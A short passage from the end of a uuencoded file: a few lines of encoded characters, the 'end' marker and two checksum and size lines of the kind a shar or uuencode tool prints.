M:ZN#NVL&L@KGS9RDI)!\[Q[Z[V]/W7Z;TEU_V/5ESKIZLN\>]-!V_AYW#\[Y0 
M*036"?[OX-7@9QZ4/4OC(HNCRUI)OGY]Q_T7LIVS?HU

ECNLWFT_KY;+$VR27C;3KSN`MNHY^75?7\O`<??^5S]&<8.H``.H`3

``

end

sum -r/size 30839/50673 section (from "begin" to "end")

sum -r/size 1865/36172 entire input file

